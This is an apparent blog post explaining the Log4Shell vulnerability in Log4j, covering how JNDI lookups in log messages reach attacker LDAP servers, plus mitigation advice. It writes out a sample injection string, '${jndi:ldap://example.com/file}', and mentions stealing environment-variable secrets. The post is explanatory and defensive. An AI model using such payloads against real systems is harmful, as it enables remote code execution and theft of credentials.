Log4j “Log4Shell” RCE explained (CVE-2021-44228)

Hello everyone! I decided to make a separate episode about Log4Shell. Of course, there have already been many reviews of this vulnerability. But I do it primarily for myself. It seems to me that serious problems with Log4j and similar libraries will be with us for a long time. Therefore, it would be interesting to document how it all began. So what is the root cause of Log4Shell?

Logs

Generally speaking, the IT infrastructure of any company deals with streams of input data. From user requests to a corporate website to integration with banking APIs and cloud services. A lot of data gets into the infrastructure of the company, is transferred from system to system, periodically getting into the logs. These logs are required to verify that the systems are functioning correctly.

True programmers

It would be ok if these log files were just written by some basic functions. But the true programmers cannot do this. They have a fancy library for every need. Even if it’s as simple as writing text logs. Unfortunately, these libraries are also written by true programmers. And they might decide that it would be very cool to make possible automatic replacements in the logs. As the authors of the java library log4j did.

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67.

So far it looks pretty harmless. The question is, what other replacements are supported? And they support the replacemement :

${jndi:<lookup>}

JNDI

The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name.

If log4j sees JNDI in the logs, it makes a request to an external resource. These requests can be different.  The JDK includes service providers for the following naming/directory services:

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

Therefore, it is likely that we will see different variations of the attack. But now the most common attack scenario is using LDAP.

${jndi:ldap://example.com/file}

LDAP

The Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol (IP) network. A client starts an LDAP session by connecting to an LDAP server, by default on TCP and UDP port 389, or on port 636 for LDAPS (LDAP over TLS/SSL).

The client may request various operations. Search, add a new entry, delete an entry, modify an entry and so on. An LDAP URL describes an LDAP search operation that is used to retrieve information from an LDAP directory. LDAP URLs have the following syntax:

ldap[s]://hostname:port/base_dn?attributes?scope?filter

In response to such a search request, the malicious LDAP server will return a payload, which will work on the host and may lead to RCE. Well, if this does not work, an attacker can simply make requests containig environment variables from the host, that may contain passwords and tokens. it’s not bad too.

And what to do with it?

It seems every security vendor has already written marketing posts on how exactly their solution can solve this problem.

  • Vulnerability and patch management systems can simplify the inventory and remediation of vulnerable components or software.
  • Filtering systems (Firewalls, NGFW, WAF) can catch malicious requests that can get into the logs, for example, from the user agent and http request parameters. They can also help to control that there are no external ldap connections.

It seems that of course none of these solutions is a panacea. It is necessary to work with this problem systematically.

In conclusion

Problems with Log4j will be with us for a long time. Just look at the lists of vulnerable third-party programs. Not to mention the programs developed in-house. And this is only if we are talking about one vulnerability Log4Shell (CVE-2021-44228). Now there are at least 2 more of them in log4j: incomplete fix of Log4Shell RCE CVE-2021-45046 and DOS CVE-2021-45105. And there will certainly be more of them, as more researchers will pay attention to this vector. As it was with SMB, OpenSSL, Print Spooler and so on.

But in a global sense, I see some positive aspects in this as well. Such critical cases is a good opportunity to draw the attention of C-level management to security problems. Starting, for example, with an IT-inventory and the control over the software development process. On such issues, it becomes clear why all this is needed and why it is practically impossible to solve such critical tasks on time without well-functioning processes. It is also a good way to check if network filtering is working in blocking mode and if outbound connections from internal hosts are being monitored.

It would also be great if the developers paid attention to such cases and remembered the KISS “Keep it simple, stupid” principle. Adding external call capability to the log library is a bad idea. I even think it’s a bad idea to use such a library for logging when you don’t need it. However, when looking at these things realistically, I don’t think this will happen. True programmers will continue to write strange things. This means that security specialists will always have a job. And that’s also good news.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.